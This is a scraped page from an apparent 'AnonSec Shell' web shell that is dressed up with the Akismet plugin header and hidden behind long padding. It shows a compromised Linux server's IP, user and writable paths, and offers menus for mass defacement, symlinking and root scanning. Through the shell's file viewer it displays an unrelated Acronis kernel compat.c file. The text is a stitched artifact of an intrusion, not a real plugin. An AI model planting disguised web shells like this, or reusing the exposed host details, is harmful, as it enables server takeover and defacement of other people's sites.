#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/file_protector-1.1-234/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/src/file_protector-1.1-234/compat.c
/**
@file
@brief    Support for legacy Linux kernel versions
@details  Copyright (c) 2018-2021 Acronis International GmbH
@author   Mikhail Krivtsov (mikhail.krivtsov@acronis.com)
@since    $Id: $
*/

#include "compat.h"
#include "debug.h"

/*
 * 'get_task_exe_file()' appeared in 'stable/v4.8',
 * it was backported in RedHat/CentOS 7 (kernel v3.10)
 */
#ifndef HAVE_GET_TASK_EXE

#include <linux/sched.h>	// task_lock()

// 'get_mm_exe_file' is not 'exported'
static struct file *get_mm_exe_file(struct mm_struct *mm)
{
	struct file *exe_file;

	/*
	 * We need mmap_sem to protect against races with removal of
	 * VM_EXECUTABLE vmas
	 */
	down_read(&mm->mmap_sem);
	exe_file = mm->exe_file;
	if (exe_file)
		get_file(exe_file);
	up_read(&mm->mmap_sem);
	return exe_file;
}

struct file *get_task_exe_file(struct task_struct *task)
{
	struct file *exe_file = NULL;
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (mm) {
		exe_file = get_mm_exe_file(mm);
		mmput(mm);
	}
	return exe_file;
}
#endif


#ifndef HAVE_KALLSYMS_LOOKUP_NAME
// {
#include <linux/kallsyms.h>	// kallsyms_on_each_symbol()

typedef struct {
	const char *name;
	unsigned long kallsyms_address;
} kallsyms_lookup_name_ctx_t;

static int kallsyms_lookup_name_on_each_symbol_cb(void *data,
				const char *namebuf, struct module *module,
				unsigned long kallsyms_address)
{
	kallsyms_lookup_name_ctx_t *ctx = data;

	if (0 == strcmp(namebuf, ctx->name)) {
		ctx->kallsyms_address = kallsyms_address;
		return 1;
	}

	return 0;
}

unsigned long compat_kallsyms_lookup_name(const char *name)
{
	kallsyms_lookup_name_ctx_t ctx = {
		.name = name,
		.kallsyms_address = 0,
	};

	if (kallsyms_on_each_symbol(kallsyms_lookup_name_on_each_symbol_cb, &ctx)) {
		DPRINTF("name='%s' address=0x%lx", name, ctx.kallsyms_address);
		return ctx.kallsyms_address;
	} else {
		DPRINTF("name='%s' not found", name);
		return 0;
	}
}
// }
#endif


// tracepoint registration interface was modified in 'stable/v3.15'
#ifdef HAVE_TRACEPOINT_PROBE_REGISTER_STRUCT
// {
#include <linux/tracepoint.h>	// for_each_kernel_tracepoint(),
				// tracepoint_probe_register(),
				// tracepoint_probe_unregister()

typedef struct {
	const char *name;
	struct tracepoint *tracepoint;
} lookup_tracepoint_ctx_t;

static void lookup_tracepoint_on_each_tracepoint_cb(struct tracepoint *tp, void *data)
{
	lookup_tracepoint_ctx_t *ctx = data;
	//DPRINTF("%p %s", tp, tp->name);
	if (0 == strcmp(tp->name, ctx->name)) {
		ctx->tracepoint = tp;
	}
}

static struct tracepoint *lookup_tracepoint(const char *name)
{
	lookup_tracepoint_ctx_t ctx = {
		.name = name,
		.tracepoint = 0,
	};

	for_each_kernel_tracepoint(lookup_tracepoint_on_each_tracepoint_cb, &ctx);
	return ctx.tracepoint;
}

int tracepoint_probe_register_compat(const char *name, void *probe, void *data)
{
	struct tracepoint *tp = lookup_tracepoint(name);
	return (!tp) ? -ENOSYS : tracepoint_probe_register(tp, probe, data);
}

int tracepoint_probe_unregister_compat(const char *name, void *probe, void *data)
{
	struct tracepoint *tp = lookup_tracepoint(name);
	return (!tp) ? -ENOSYS : tracepoint_probe_unregister(tp, probe, data);
}
// }
#endif

// rbtree postorder iteration functions appeared in 'stable/v3.12'
#if !defined(HAVE_RB_FIRST_POSTORDER) || !defined(HAVE_RB_NEXT_POSTORDER)
static struct rb_node *rb_left_deepest_node(const struct rb_node *node)
{
	for (;;) {
		if (node->rb_left)
			node = node->rb_left;
		else if (node->rb_right)
			node = node->rb_right;
		else
			return (struct rb_node *)node;
	}
}
#endif

#ifndef HAVE_RB_NEXT_POSTORDER
struct rb_node *rb_next_postorder(const struct rb_node *node)
{
	const struct rb_node *parent;
	if (!node)
		return NULL;
	parent = rb_parent(node);

	/* If we're sitting on node, we've already seen our children */
	if (parent && node == parent->rb_left && parent->rb_right) {
		/* If we are the parent's left node, go to the parent's right
		 * node then all the way down to the left */
		return rb_left_deepest_node(parent->rb_right);
	} else
		/* Otherwise we are the parent's right node, and the parent
		 * should be next */
		return (struct rb_node *)parent;
}
#endif

#ifndef HAVE_RB_FIRST_POSTORDER
struct rb_node *rb_first_postorder(const struct rb_root *root)
{
	if (!root->rb_node)
		return NULL;

	return rb_left_deepest_node(root->rb_node);
}
#endif

Anon7 - 2022
AnonSec Team